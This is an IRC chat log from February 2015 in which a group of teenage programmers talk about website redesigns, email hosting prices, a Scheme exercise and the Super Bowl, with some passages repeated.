[2015-02-01T17:22:16-0500] <+hardmath123> Oh, I didn't know it was static atm.
[2015-02-01T17:22:18-0500] <@awe> The choice was between redesigning it as a new static site, or just making the current design static.
[2015-02-01T17:22:18-0500] <+hardmath123> hmm
[2015-02-01T17:22:31-0500] <@awe> The current site is not static.
[2015-02-01T17:22:32-0500] <@awe> It's Ghost.
[2015-02-01T17:22:37-0500] <+hardmath123> But yeah, atm, it's unbrowsable.
[2015-02-01T17:22:41-0500] <+hardmath123> Mac/Safari.
[2015-02-01T17:22:44-0500] <@awe> Wat?
[2015-02-01T17:22:46-0500] <@awe> I use Mac Safari.
[2015-02-01T17:22:58-0500] <+hardmath123> If I scroll, it just spontaneously derps every once in a while.
[2015-02-01T17:23:05-0500] <+hardmath123> And scrolls up/down really fast.
[2015-02-01T17:23:07-0500] <@awe> Cannot reproduce.
[2015-02-01T17:23:47-0500] <+hardmath123> uh
[2015-02-01T17:24:29-0500] <+hardmath123> click "check out my blog"
[2015-02-01T17:24:35-0500] <+hardmath123> and then don't have as seizure.
[2015-02-01T17:24:43-0500] <@awe> That's not it derping out.
[2015-02-01T17:24:45-0500] <@awe> And that's not spontaneous.
[2015-02-01T17:24:51-0500] <@awe> It's an ugly CSS transiiton.
[2015-02-01T17:24:53-0500] <@awe> transition*
[2015-02-01T17:25:09-0500] <@awe> I'd probably fix that if I kept the same design.
[2015-02-01T17:25:12-0500] <+hardmath123> Oh.
[2015-02-01T17:25:15-0500] <+hardmath123> Ok.
[2015-02-01T17:25:17-0500] <@awe> I did that because I didn't want to play around with Ghost.
[2015-02-01T17:25:31-0500] <@awe> (Static pages in Ghost are weird.)
[2015-02-01T17:25:44-0500] <+hardmath123> It's bad when your transition looks like a glitch.
[2015-02-01T17:25:48-0500] <@awe> Yes.
[2015-02-01T17:25:54-0500] <@awe> I don't think it looks like a glitch.
[2015-02-01T17:25:56-0500] <@awe> But it does look bad.
[2015-02-01T17:26:01-0500] <@awe> And obviously you think it looks like one.
[2015-02-01T17:28:39-0500] <@awe> Also, I'm going to have another announcement to make soon, but I'm not going to make it until after we have the bay area server.
[2015-02-01T17:28:56-0500] <@awe> I hope that everyone will be excited about that.
[2015-02-01T17:29:02-0500] <+hardmath123> Yay.
[2015-02-01T17:29:07-0500] • hardmath123: is excited about that.
[2015-02-01T17:29:39-0500] <Tamini_> what was the first announcement? :O
[2015-02-01T17:29:56-0500] <@awe> Actually, nevermind.
[2015-02-01T17:30:06-0500] <@awe> I think I'm wrong about what I can do with that.
[2015-02-01T17:30:09-0500] • hardmath123: 's excitment wanes.
[2015-02-01T17:30:09-0500] <@awe> Well, I don't know.
[2015-02-01T17:30:12-0500] <@awe> It's something we can talk about.
[2015-02-01T17:30:27-0500] <@awe> Tamini_: the first announcement was that we're adding another server.
[2015-02-01T17:30:30-0500] <jwoglom> well so much for the big announcement
[2015-02-01T17:30:32-0500] <Tamini_> oh lol
[2015-02-01T17:30:48-0500] <@awe> It might be a big announcement. I have to do some research.
[2015-02-01T17:31:20-0500] <@awe> I think it might be too expensive though.
[2015-02-01T17:31:30-0500] <+hardmath123> awe's considering turning into a cyborg.
[2015-02-01T17:32:22-0500] <assface> ^
[2015-02-01T17:32:38-0500] <Tamini_> you mean he isnt already?
[2015-02-01T17:32:54-0500] <@awe> Nope.
[2015-02-01T17:33:15-0500] <@awe> Yeah, I'm sorry. I looked more into pricing after realizing I misread something, and it's not doable.
[2015-02-01T17:33:52-0500] <@awe> I was going to say that we're going to start offering email accounts hosted through Namecheap, but I realized that it's $2.16/mo/user.
[2015-02-01T17:34:00-0500] <@awe> And Rackspace isn't much cheaper.
[2015-02-01T17:34:04-0500] <assface> just use cockmail
[2015-02-01T17:34:08-0500] <assface> cock.li
[2015-02-01T17:34:08-0500] <jwoglom> a couple of friends of mine use zoho
[2015-02-01T17:34:36-0500] <jwoglom> i'm grandfathered into free google apps, which sadly still isn't free
[2015-02-01T17:35:36-0500] <assface> I only use google for school and youtube
[2015-02-01T17:36:10-0500] <@awe> I use google for mail still.
[2015-02-01T17:36:17-0500] <@awe> I want to get off that train though.
[2015-02-01T17:37:17-0500] <jwoglom> awe: what are you considering switching to?
[2015-02-01T17:37:26-0500] <@awe> Namecheap or Rackspace.
[2015-02-01T17:37:34-0500] <@awe> awe@pdgn.co
[2015-02-01T17:39:22-0500] <@awe> Well, I'll probably have that be my personal email address
[2015-02-01T17:39:26-0500] <@awe> and aaron@pdgn.co be public facing.
[2015-02-01T17:40:04-0500] <Tamini_> why is it pdgn, even?
[2015-02-01T17:40:16-0500] <@awe> It's short.
[2015-02-01T17:40:35-0500] <+hardmath123> why does it have to charge by #users?
[2015-02-01T17:40:51-0500] <@awe> Right?
[2015-02-01T17:41:02-0500] <@awe> I thought it didn't. I thought it was just about disk space.
[2015-02-01T17:41:14-0500] <@awe> I was like, "Eh, 20 of us could use 10 GB"
[2015-02-01T17:41:19-0500] <jwoglom> eh, i guess it makes them money
[2015-02-01T17:41:57-0500] <+hardmath123> can we host our own mail?
[2015-02-01T17:42:01-0500] <@awe> Sort of.
[2015-02-01T17:42:06-0500] <@awe> It's undeliverable though.
[2015-02-01T17:42:10-0500] <+hardmath123> ?
[2015-02-01T17:42:20-0500] <@awe> It'll get flagged as spam.
[2015-02-01T17:42:24-0500] <@awe> Everywhere.
[2015-02-01T17:42:25-0500] <@awe> Always.
[2015-02-01T17:42:27-0500] <+hardmath123> doesn't it come down to hosting an SMTP or POP server with a name?
[2015-02-01T17:42:36-0500] <+hardmath123> oh
[2015-02-01T17:42:59-0500] <@awe> Yeah.
[2015-02-01T17:44:00-0500] <+hardmath123> Ok, I'm printing the lab report.
[2015-02-01T17:44:03-0500] • hardmath123: crosses is fingers.
[2015-02-01T17:44:32-0500] <@awe> If anyone can find a good host that offers Exchange hosting without a per mailbox price, that'd be sweet.
[2015-02-01T17:45:23-0500] <Tamini_> ooh
[2015-02-01T17:45:26-0500] <Tamini_> whats the lab written in?
[2015-02-01T17:46:51-0500] <+hardmath123> english
[2015-02-01T17:46:53-0500] <+hardmath123> latex
[2015-02-01T17:47:03-0500] <+hardmath123> i don't even know what you're asking
[2015-02-01T17:48:10-0500] <Tamini_> latex
[2015-02-01T17:48:11-0500] <Tamini_> yes
[2015-02-01T17:48:14-0500] <Tamini_> approval
[2015-02-01T17:48:16-0500] <Tamini_> can i see it
[2015-02-01T17:48:43-0500] <+hardmath123> uh
[2015-02-01T17:48:56-0500] <+hardmath123> i can mail you a pdf
[2015-02-01T17:49:06-0500] <@awe> snail mail?
[2015-02-01T17:49:13-0500] <@awe> Send it via snail mail.
[2015-02-01T17:49:14-0500] <Tamini_> yes
[2015-02-01T17:49:17-0500] <+hardmath123> yeah, i'll fedex her a pen drive
[2015-02-01T17:49:18-0500] <Tamini_> you have my email
[2015-02-01T17:49:21-0500] <Tamini_> from limricks
[2015-02-01T17:49:22-0500] <Tamini_> and lol
[2015-02-01T17:49:59-0500] <@awe> hardmath123: Sounds good.
[2015-02-01T17:50:40-0500] <+hardmath123> Tamini_: wait the one with the penguin or the one with the panda?
[2015-02-01T17:50:50-0500] <Tamini_> panda!
[2015-02-01T17:50:53-0500] <@awe> I guess I should redesign aaronweiss.us, but I'm actually not sure what I'd want it to look like.
[2015-02-01T17:50:59-0500] <Tamini_> why do you even have the penguin one
[2015-02-01T17:51:28-0500] <Tamini_> make it super material
[2015-02-01T17:52:01-0500] <@awe> Material design is for touch screens. .-.
[2015-02-01T17:52:58-0500] <Tamini_> Make your website pretty on mobile!
[2015-02-01T17:52:59-0500] <Tamini_> :P
[2015-02-01T17:53:14-0500] <+hardmath123> awe: copy mine!
[2015-02-01T17:53:17-0500] <@awe> I want to put a lambda somewhere.
[2015-02-01T17:53:26-0500] <@awe> But I don't know if I'm good enough at Haskell to put a lambda somewhere.
[2015-02-01T17:53:40-0500] <+hardmath123> awe: are you good enough at scheme?
[2015-02-01T17:54:05-0500] <@awe> I've never actually written anything in Scheme.
[2015-02-01T17:54:10-0500] <+hardmath123> O_o
[2015-02-01T17:54:46-0500] <@awe> Nothing more than small functions anyway.
[2015-02-01T17:55:51-0500] <+hardmath123> inb4 Tamini_ finds typos all over my lab.
[2015-02-01T17:58:34-0500] <jwoglom> Material design isnt just for touchscreens
[2015-02-01T17:58:42-0500] <jwoglom> The idea is that its universal
[2015-02-01T17:58:43-0500] <@awe> Yes, it is.
[2015-02-01T17:58:54-0500] <Tamini_> LOL
[2015-02-01T17:58:58-0500] <@awe> All the effects lend themselves to touch screens.
[2015-02-01T17:59:01-0500] <jwoglom> Have you used any of Google's web services lately?
[2015-02-01T17:59:07-0500] <jwoglom> Look at keep or inbox
[2015-02-01T17:59:13-0500] <@awe> They're designed for mobile first.
[2015-02-01T17:59:26-0500] <jwoglom> yes, but it's supposed to be for all platforms
[2015-02-01T17:59:35-0500] <jwoglom> everything's mobile first nowadays
[2015-02-01T17:59:52-0500] <@awe> That's not true.
[2015-02-01T18:00:08-0500] <@awe> And the point is I'm not going to design my site for touch screens first, anyway.
[2015-02-01T18:00:55-0500] <Tamini_> not enough reactions
[2015-02-01T18:01:04-0500] <+hardmath123> ...
[2015-02-01T18:01:25-0500] <+hardmath123> I'm not sure how to react.
[2015-02-01T18:01:35-0500] <Tamini_> well
[2015-02-01T18:01:37-0500] <Tamini_> i meant like
[2015-02-01T18:01:42-0500] <Tamini_> its not flashy enough
[2015-02-01T18:02:03-0500] <+hardmath123> ummmmmmm
[2015-02-01T18:03:23-0500] <ubuntor> flat is nice
[2015-02-01T18:04:53-0500] <+hardmath123> i can't think of a way to flashierify it
[2015-02-01T18:04:59-0500] <@awe> I prefer Microsoft's approach to flat design than Google's.
[2015-02-01T18:05:02-0500] <+hardmath123> <blink> tags don't work in PDFs.
[2015-02-01T18:07:57-0500] <ubuntor> embed swf, ignore security
[2015-02-01T18:08:31-0500] <+hardmath123> and then print it out?
[2015-02-01T18:09:54-0500] <Coast> hey
[2015-02-01T18:10:15-0500] <Coast> does anyone want to trade me a copy of starbound for a copy of splinter cell blacklist?
[2015-02-01T18:10:30-0500] <Tamini_> hardmath123: i know i know
[2015-02-01T18:10:36-0500] <+JacobEdelman> Tamini: do you like this http://fezvrasta.github.io/bootstrap-material-design/
[2015-02-01T18:10:38-0500] <Coast> I have it lying around and I don't want the game
[2015-02-01T18:10:47-0500] <+JacobEdelman> Tamini_: also(for non mobile) jacobedelman.com is very flashy
[2015-02-01T18:11:26-0500] <Tamini_> im just poking fun
[2015-02-01T18:11:26-0500] <Tamini_> and Coast: why didnt you ask earlier D:
[2015-02-01T18:11:26-0500] <Tamini_> lol im on my phone
[2015-02-01T18:11:41-0500] <Coast> Tamini_, whaaaaat
[2015-02-01T18:11:43-0500] <Coast> what happened
[2015-02-01T18:12:00-0500] <Coast> should I have asked earlier?
[2015-02-01T18:12:04-0500] <Tamini_> lol@bootstrap
[2015-02-01T18:12:07-0500] <Tamini_> and um
[2015-02-01T18:12:08-0500] <Tamini_> i had money lying around
[2015-02-01T18:12:09-0500] <Tamini_> and i was home then
[2015-02-01T18:12:13-0500] <Tamini_> so yeah >.<
[2015-02-01T18:12:13-0500] <+hardmath123> Coast: I correspond to hm123 on #xkcd. :)
[2015-02-01T18:12:23-0500] <Coast> I see
[2015-02-01T18:13:53-0500] <+JacobEdelman> so, are we gonna have our own not-watching-the-super-bowl party on pdgn?
[2015-02-01T18:13:58-0500] <+JacobEdelman> I mean, we had new years here :)
[2015-02-01T18:14:05-0500] <+hardmath123> :P
[2015-02-01T18:14:22-0500] <+hardmath123> awe: if you want to write some scheme, try this -- http://backtick.town/~kc/problem.scm
[2015-02-01T18:14:37-0500] <+hardmath123> awe: I wrote it for our AP CS class and my teacher said no.
[2015-02-01T18:15:55-0500] <@awe> jwoglom: https://www.dropbox.com/s/qboocp4uye9y4su/Screenshot%202015-02-01%2018.15.53.png?dl=0
[2015-02-01T18:15:57-0500] <Tamini_> um
[2015-02-01T18:15:57-0500] <Tamini_> ill see if i have $15 when im home though
[2015-02-01T18:15:57-0500] <@awe> erm
[2015-02-01T18:15:58-0500] <@awe> JacobEdelman: 
[2015-02-01T18:16:00-0500] <Tamini_> the more the merrier for starbound :)
[2015-02-01T18:16:04-0500] <@awe> JacobEdelman: my school blocks your site for malicious content.
[2015-02-01T18:16:31-0500] <Tamini_> and lol
[2015-02-01T18:16:45-0500] <Tamini_> im actually out with a bunch of friends
[2015-02-01T18:16:53-0500] <jwoglom> awe: heh. What URL does it block?
[2015-02-01T18:16:57-0500] <@awe> jacobedelman.com
[2015-02-01T18:17:02-0500] <jwoglom> Lol
[2015-02-01T18:17:23-0500] <@awe> His website is so bad that they think it's malware.
[2015-02-01T18:17:43-0500] <+JacobEdelman> hardmath123: oh god, oh god, OH GOD, where are the left parentheses, all these unclosed parentheses, YOU ARE A HORRIBLE PERSON!
[2015-02-01T18:17:56-0500] <+hardmath123> ...
[2015-02-01T18:17:57-0500] <+hardmath123> ...
[2015-02-01T18:17:59-0500] <+hardmath123> ...
[2015-02-01T18:18:03-0500] <+hardmath123> that parses correctly?
[2015-02-01T18:18:21-0500] <ubuntor> maybe you're not done reading the file?
[2015-02-01T18:18:31-0500] <+JacobEdelman> hardmath123: what?
[2015-02-01T18:18:44-0500] <+JacobEdelman> (define (get-rest-of-string str len)
[2015-02-01T18:18:44-0500] <+JacobEdelman>     ; fill in your answer here
[2015-02-01T18:18:56-0500] <+JacobEdelman> no closed parentheses 
[2015-02-01T18:19:01-0500] <+hardmath123> oh
[2015-02-01T18:19:02-0500] <+JacobEdelman> oh wait, no this is scheme isn't it
[2015-02-01T18:19:16-0500] <+JacobEdelman> oh wait, yes, there should be?
[2015-02-01T18:19:17-0500] <+hardmath123> right, this is the problem version
[2015-02-01T18:19:23-0500] <+JacobEdelman> yes, it is
[2015-02-01T18:19:26-0500] <+hardmath123> the solution version has the solutions written in
[2015-02-01T18:19:30-0500] <+JacobEdelman> and I find the lack of ")" painful
[2015-02-01T18:19:45-0500] <+JacobEdelman> awe: try jacobedelman.com/fancy.html
[2015-02-01T18:19:56-0500] <+hardmath123> srsly, though, do those problems. you'll learn.
[2015-02-01T18:20:15-0500] <Tamini_> lol
[2015-02-01T18:20:26-0500] <@awe> YEah, they don't think that's malware.
[2015-02-01T18:20:58-0500] <ubuntor> https://www.youtube.com/watch?v=uizNcQcpK-8
[2015-02-01T18:21:38-0500] <@awe> JacobEdelman:  a v0.1.0 is currently in the works.
[2015-02-01T18:21:50-0500] <@awe> JacobEdelman: What does that mean? What is a v0.1.0?
[2015-02-01T18:21:57-0500] <@awe> JacobEdelman: You don't have a standard library.
[2015-02-01T18:22:08-0500] <+JacobEdelman> awe: its a complete rewrite of lark in typescript
[2015-02-01T18:22:22-0500] <+JacobEdelman> cause of realizations I had 
[2015-02-01T18:22:49-0500] <@awe> You're not ready to have it be 0.1.0.
[2015-02-01T18:22:55-0500] <+JacobEdelman> so my grandfather is asking me to place a bet on super bowl scores
[2015-02-01T18:23:01-0500] <+JacobEdelman> I asked him "whats par"
[2015-02-01T18:23:02-0500] <+JacobEdelman> :P
[2015-02-01T18:23:02-0500] <@awe> Bet on the Seahawks.
[2015-02-01T18:23:16-0500] <+JacobEdelman> awe: 0 v 0
[2015-02-01T18:23:21-0500] <+JacobEdelman> thats my quess
[2015-02-01T18:23:23-0500] <+JacobEdelman> *guess
[2015-02-01T18:23:37-0500] <+JacobEdelman> :P
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[2015-02-01T18:24:50-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-02-01T18:14:37-0500] <+hardmath123> awe: I wrote it for our AP CS class and my teacher said no.
[2015-02-01T18:15:55-0500] <@awe> jwoglom: https://www.dropbox.com/s/qboocp4uye9y4su/Screenshot%202015-02-01%2018.15.53.png?dl=0
[2015-02-01T18:15:57-0500] <Tamini_> um
[2015-02-01T18:15:57-0500] <Tamini_> ill see if i have $15 when im home though
[2015-02-01T18:15:57-0500] <@awe> erm
[2015-02-01T18:15:58-0500] <@awe> JacobEdelman: 
[2015-02-01T18:16:00-0500] <Tamini_> the more the merrier for starbound :)
[2015-02-01T18:16:04-0500] <@awe> JacobEdelman: my school blocks your site for malicious content.
[2015-02-01T18:16:31-0500] <Tamini_> and lol
[2015-02-01T18:16:45-0500] <Tamini_> im actually out with a bunch of friends
[2015-02-01T18:16:53-0500] <jwoglom> awe: heh. What URL does it block?
[2015-02-01T18:16:57-0500] <@awe> jacobedelman.com
[2015-02-01T18:17:02-0500] <jwoglom> Lol
[2015-02-01T18:17:23-0500] <@awe> His website is so bad that they think it's malware.
[2015-02-01T18:17:43-0500] <+JacobEdelman> hardmath123: oh god, oh god, OH GOD, where are the left parentheses, all these unclosed parentheses, YOU ARE A HORRIBLE PERSON!
[2015-02-01T18:17:56-0500] <+hardmath123> ...
[2015-02-01T18:17:57-0500] <+hardmath123> ...
[2015-02-01T18:17:59-0500] <+hardmath123> ...
[2015-02-01T18:18:02-0500] <+hardmath123> that parses correctly?
[2015-02-01T18:18:21-0500] <ubuntor> maybe you're not done reading the file?
[2015-02-01T18:18:31-0500] <+JacobEdelman> hardmath123: what?
[2015-02-01T18:18:44-0500] <+JacobEdelman> (define (get-rest-of-string str len)
[2015-02-01T18:18:44-0500] <+JacobEdelman>     ; fill in your answer here
[2015-02-01T18:18:56-0500] <+JacobEdelman> no closed parentheses 
[2015-02-01T18:19:01-0500] <+hardmath123> oh
[2015-02-01T18:19:02-0500] <+JacobEdelman> oh wait, no this is scheme isn't it
[2015-02-01T18:19:16-0500] <+JacobEdelman> oh wait, yes, there should be?
[2015-02-01T18:19:17-0500] <+hardmath123> right, this is the problem version
[2015-02-01T18:19:23-0500] <+JacobEdelman> yes, it is
[2015-02-01T18:19:26-0500] <+hardmath123> the solution version has the solutions written in
[2015-02-01T18:19:30-0500] <+JacobEdelman> and I find the lack of ")" painful
[2015-02-01T18:19:45-0500] <+JacobEdelman> awe: try jacobedelman.com/fancy.html
[2015-02-01T18:19:56-0500] <+hardmath123> srsly, though, do those problems. you'll learn.
[2015-02-01T18:20:15-0500] <Tamini_> lol
[2015-02-01T18:20:26-0500] <@awe> YEah, they don't think that's malware.
[2015-02-01T18:20:58-0500] <ubuntor> https://www.youtube.com/watch?v=uizNcQcpK-8
[2015-02-01T18:21:38-0500] <@awe> JacobEdelman:  a v0.1.0 is currently in the works.
[2015-02-01T18:21:50-0500] <@awe> JacobEdelman: What does that mean? What is a v0.1.0?
[2015-02-01T18:21:57-0500] <@awe> JacobEdelman: You don't have a standard library.
[2015-02-01T18:22:08-0500] <+JacobEdelman> awe: its a complete rewrite of lark in typescript
[2015-02-01T18:22:21-0500] <+JacobEdelman> cause of realizations I had 
[2015-02-01T18:22:49-0500] <@awe> You're not ready to have it be 0.1.0.
[2015-02-01T18:22:55-0500] <+JacobEdelman> so my grandfather is asking me to place a bet on super bowl scores
[2015-02-01T18:23:01-0500] <+JacobEdelman> I asked him "whats par"
[2015-02-01T18:23:02-0500] <+JacobEdelman> :P
[2015-02-01T18:23:02-0500] <@awe> Bet on the Seahawks.
[2015-02-01T18:23:16-0500] <+JacobEdelman> awe: 0 v 0
[2015-02-01T18:23:21-0500] <+JacobEdelman> thats my quess
[2015-02-01T18:23:23-0500] <+JacobEdelman> *guess
[2015-02-01T18:23:36-0500] <+JacobEdelman> :P
[2015-02-01T18:24:51-0500] Mode is +nst
[2015-02-01T18:29:10-0500] <Tamini_> lol
[2015-02-01T18:30:02-0500] <Tamini_> im morally obligated to root for the patriots
[2015-02-01T18:30:17-0500] <jwoglom> Why morally obligated? :P
[2015-02-01T18:31:02-0500] <jwoglom> Aand..its time for the BIG GAME(tm)!
[2015-02-01T18:31:08-0500] <Tamini_> reasons
[2015-02-01T18:31:08-0500] <Tamini_> that exist
[2015-02-01T18:31:08-0500] <Tamini_> and lol
[2015-02-01T18:31:34-0500] <alokpathy> Woo it's begun!
[2015-02-01T18:31:44-0500] <alokpathy> Lol, I'm rooting for the Patriots 'cause Boston.
[2015-02-01T18:31:54-0500] <Tamini_> heh
[2015-02-01T18:32:05-0500] <Tamini_> did katz teach you football yet?
[2015-02-01T18:32:13-0500] <alokpathy> Oops no xD
[2015-02-01T18:32:14-0500] <+hardmath123> I'm for seahawks because I've heard of them before.
[2015-02-01T18:32:20-0500] <+hardmath123> By watching Frasier.
[2015-02-01T18:32:21-0500] <+hardmath123> :P
[2015-02-01T18:32:29-0500] <alokpathy> According to my Dad, I've been to Gillette Stadium before.
[2015-02-01T18:33:13-0500] <jwoglom> Patriots for me, too
[2015-02-01T18:33:31-0500] <jwoglom> Dad grew up in Massachusetts
[2015-02-01T18:33:58-0500] <+hardmath123> i feel outvoted
[2015-02-01T18:34:12-0500] <alokpathy> Well, awe's with you.
[2015-02-01T18:34:26-0500] <@awe> Wat?
[2015-02-01T18:34:28-0500] <Tamini_> lol
[2015-02-01T18:34:29-0500] <@awe> Oh, yeah.
[2015-02-01T18:34:34-0500] <@awe> I'm not for the Seahawks.
[2015-02-01T18:34:35-0500] <Tamini_> hardmath123: be with us cool iids
[2015-02-01T18:34:39-0500] <@awe> You're just objectively wrong if you think the Patriots will win.
[2015-02-01T18:34:48-0500] <@awe> The Seahawks are better.
[2015-02-01T18:34:54-0500] <+JacobEdelman> hmmm... lots of people here
[2015-02-01T18:34:58-0500] <+JacobEdelman> !resistance
[2015-02-01T18:35:06-0500] <+hardmath123> !drop
[2015-02-01T18:35:10-0500] <+JacobEdelman> why?
[2015-02-01T18:35:15-0500] <+JacobEdelman> oh wait
[2015-02-01T18:35:18-0500] <+hardmath123> there was already a game running
[2015-02-01T18:35:19-0500] <+JacobEdelman> !resistance
[2015-02-01T18:35:22-0500] <+JacobEdelman> ...
[2015-02-01T18:35:22-0500] <+hardmath123> so it needs to be dropped first
[2015-02-01T18:35:26-0500] <+JacobEdelman> what?
[2015-02-01T18:35:34-0500] <+JacobEdelman> oh!
[2015-02-01T18:35:36-0500] <+JacobEdelman> !drop
[2015-02-01T18:35:36-0500] <&Pidgey> The game of Resistance has been dropped.
[2015-02-01T18:35:36-0500] <+hardmath123> you started a game when Coast came over
[2015-02-01T18:35:38-0500] <alokpathy> Darn, 4th down.
[2015-02-01T18:35:41-0500] <+JacobEdelman> !resistance
[2015-02-01T18:35:41-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2015-02-01T18:35:45-0500] <+hardmath123> alokpathy: what does that mean
[2015-02-01T18:36:16-0500] <+hardmath123> I'm looking for live water usage statistics.
[2015-02-01T18:36:25-0500] <alokpathy> hardmath123: Means the Patriots can't go for a touchdown this drive.
[2015-02-01T18:36:39-0500] <+hardmath123> In the FIFA football finals, there was a hilarious spike at halftime when everyone wento the bathroom and flushed
[2015-02-01T18:36:42-0500] <alokpathy> Well, they could, but it'd be dumb.
[2015-02-01T18:36:44-0500] <+hardmath123> I sort of want to replicate that.
[2015-02-01T18:36:47-0500] <alokpathy> wat
[2015-02-01T18:37:14-0500] <+hardmath123> http://www.laweekly.com/news/la-water-use-jumped-due-to-world-cup-halftime-flush-4815073
[2015-02-01T18:42:29-0500] <@awe> !join
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[2015-02-01T18:43:22-0500] <alokpathy> awe:  <awebot> That shirt is very becoming on you. If I were on you, I'd be coming too.
[2015-02-01T18:43:26-0500] <alokpathy> .-.
[2015-02-01T18:43:55-0500] <jwoglom> i must say, that's an interesting feature, awe
[2015-02-01T18:44:04-0500] <@awe> What is?
[2015-02-01T18:44:14-0500] <+JacobEdelman> !join
[2015-02-01T18:44:14-0500] <&Pidgey> You've already joined this game!
[2015-02-01T18:44:20-0500] <alokpathy> awe: Lewd PMs from awebot
[2015-02-01T18:45:43-0500] <ubuntor> no such feature :P
[2015-02-01T18:45:55-0500] <Tamini_> lol
[2015-02-01T18:45:55-0500] <Tamini_> ive never gotten one :(
[2015-02-01T18:46:03-0500] <jwoglom> i got one a couple hours ago
[2015-02-01T18:46:33-0500] <jwoglom> i think it's slowly achieving sentience
[2015-02-01T18:46:41-0500] <jwoglom> and i'm not sure whether to be amazed or scared
[2015-02-01T18:47:09-0500] <ubuntor> at least it's mostly benign
[2015-02-01T18:47:09-0500] <Tamini_> it is!
[2015-02-01T18:47:14-0500] <Tamini_> it used to only pm
[2015-02-01T18:47:16-0500] <Tamini_> jacob and alok
[2015-02-01T18:47:20-0500] <Tamini_> it's expanding its horizons
[2015-02-01T18:47:26-0500] <jwoglom> yup
[2015-02-01T18:47:31-0500] <+JacobEdelman> its because alok and I are by far the hottest
[2015-02-01T18:47:33-0500] <jwoglom> makes you wonder what it'll do next
[2015-02-01T18:47:38-0500] <+JacobEdelman> with jwoglom in second
[2015-02-01T18:47:49-0500] <+JacobEdelman> thats why we get the pms first
[2015-02-01T18:47:52-0500] <jwoglom> hey, someone thinks i'm attractive! :P
[2015-02-01T18:48:17-0500] <+JacobEdelman> awe: why doesn't awebot customize it's lewd messages
[2015-02-01T18:48:24-0500] <alokpathy> JacobEdelman: How many have you had?
[2015-02-01T18:48:29-0500] <+JacobEdelman> only one
[2015-02-01T18:48:30-0500] <+JacobEdelman> why?
[2015-02-01T18:50:22-0500] <alokpathy> I've had, like, 4 LOL
[2015-02-01T18:50:33-0500] <alokpathy> Ah, 3.
[2015-02-01T18:50:40-0500] <jwoglom> well then, i guess we know who awebot fancies the most
[2015-02-01T18:50:48-0500] <alokpathy> awebot: ;)
[2015-02-01T18:51:59-0500] <Tamini_> obv
[2015-02-01T18:52:00-0500] <Tamini_> apothy is hotter than you
[2015-02-01T18:54:40-0500] <+JacobEdelman> awww... well, awebot loved me first
[2015-02-01T19:02:38-0500] <Tamini_> he obv
[2015-02-01T19:02:41-0500] <Tamini_> found someone better
[2015-02-01T19:03:05-0500] <alokpathy> <3
[2015-02-01T19:03:06-0500] <jwoglom> poor JacobEdelman 
[2015-02-01T19:04:13-0500] <@awe> Okay, I now have hakyll set up.
[2015-02-01T19:05:16-0500] <ubuntor> yay
[2015-02-01T19:07:22-0500] <@awe> I don't know what I want this site to look like though.
[2015-02-01T19:11:48-0500] <jwoglom> touchdown!
[2015-02-01T19:11:52-0500] <alokpathy> woo pats touchdown!
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[2015-02-01T18:36:42-0500] <alokpathy> Well, they could, but it'd be dumb.
[2015-02-01T18:36:44-0500] <+hardmath123> I sort of want to replicate that.
[2015-02-01T18:36:47-0500] <alokpathy> wat
[2015-02-01T18:37:14-0500] <+hardmath123> http://www.laweekly.com/news/la-water-use-jumped-due-to-world-cup-halftime-flush-4815073
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[2015-02-01T18:43:22-0500] <alokpathy> awe:  <awebot> That shirt is very becoming on you. If I were on you, I'd be coming too.
[2015-02-01T18:43:26-0500] <alokpathy> .-.
[2015-02-01T18:43:54-0500] <jwoglom> i must say, that's an interesting feature, awe
[2015-02-01T18:44:04-0500] <@awe> What is?
[2015-02-01T18:44:14-0500] <+JacobEdelman> !join
[2015-02-01T18:44:14-0500] <&Pidgey> You've already joined this game!
[2015-02-01T18:44:20-0500] <alokpathy> awe: Lewd PMs from awebot
[2015-02-01T18:45:43-0500] <ubuntor> no such feature :P
[2015-02-01T18:45:55-0500] <Tamini_> lol
[2015-02-01T18:45:55-0500] <Tamini_> ive never gotten one :(
[2015-02-01T18:46:03-0500] <jwoglom> i got one a couple hours ago
[2015-02-01T18:46:32-0500] <jwoglom> i think it's slowly achieving sentience
[2015-02-01T18:46:41-0500] <jwoglom> and i'm not sure whether to be amazed or scared
[2015-02-01T18:47:09-0500] <ubuntor> at least it's mostly benign
[2015-02-01T18:47:09-0500] <Tamini_> it is!
[2015-02-01T18:47:13-0500] <Tamini_> it used to only pm
[2015-02-01T18:47:16-0500] <Tamini_> jacob and alok
[2015-02-01T18:47:20-0500] <Tamini_> it's expanding its horizons
[2015-02-01T18:47:26-0500] <jwoglom> yup
[2015-02-01T18:47:31-0500] <+JacobEdelman> its because alok and I are by far the hottest
[2015-02-01T18:47:33-0500] <jwoglom> makes you wonder what it'll do next
[2015-02-01T18:47:38-0500] <+JacobEdelman> with jwoglom in second
[2015-02-01T18:47:49-0500] <+JacobEdelman> thats why we get the pms first
[2015-02-01T18:47:52-0500] <jwoglom> hey, someone thinks i'm attractive! :P
[2015-02-01T18:48:17-0500] <+JacobEdelman> awe: why doesn't awebot customize it's lewd messages
[2015-02-01T18:48:24-0500] <alokpathy> JacobEdelman: How many have you had?
[2015-02-01T18:48:29-0500] <+JacobEdelman> only one
[2015-02-01T18:48:30-0500] <+JacobEdelman> why?
[2015-02-01T18:50:21-0500] <alokpathy> I've had, like, 4 LOL
[2015-02-01T18:50:33-0500] <alokpathy> Ah, 3.
[2015-02-01T18:50:40-0500] <jwoglom> well then, i guess we know who awebot fancies the most
[2015-02-01T18:50:48-0500] <alokpathy> awebot: ;)
[2015-02-01T18:51:59-0500] <Tamini_> obv
[2015-02-01T18:52:00-0500] <Tamini_> apothy is hotter than you
[2015-02-01T18:54:40-0500] <+JacobEdelman> awww... well, awebot loved me first
[2015-02-01T19:02:38-0500] <Tamini_> he obv
[2015-02-01T19:02:41-0500] <Tamini_> found someone better
[2015-02-01T19:03:05-0500] <alokpathy> <3
[2015-02-01T19:03:06-0500] <jwoglom> poor JacobEdelman 
[2015-02-01T19:04:13-0500] <@awe> Okay, I now have hakyll set up.
[2015-02-01T19:05:16-0500] <ubuntor> yay
[2015-02-01T19:07:22-0500] <@awe> I don't know what I want this site to look like though.
[2015-02-01T19:11:48-0500] <jwoglom> touchdown!
[2015-02-01T19:11:52-0500] <alokpathy> woo pats touchdown!
[2015-02-01T19:13:43-0500] Mode is +nst
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[2015-02-01T19:25:15-0500] <assface> ?
[2015-02-01T19:26:18-0500] <+hardmath123> zrl: you're coming to GunnHacks? sweet.
[2015-02-01T19:27:03-0500] <zrl> Hopefully
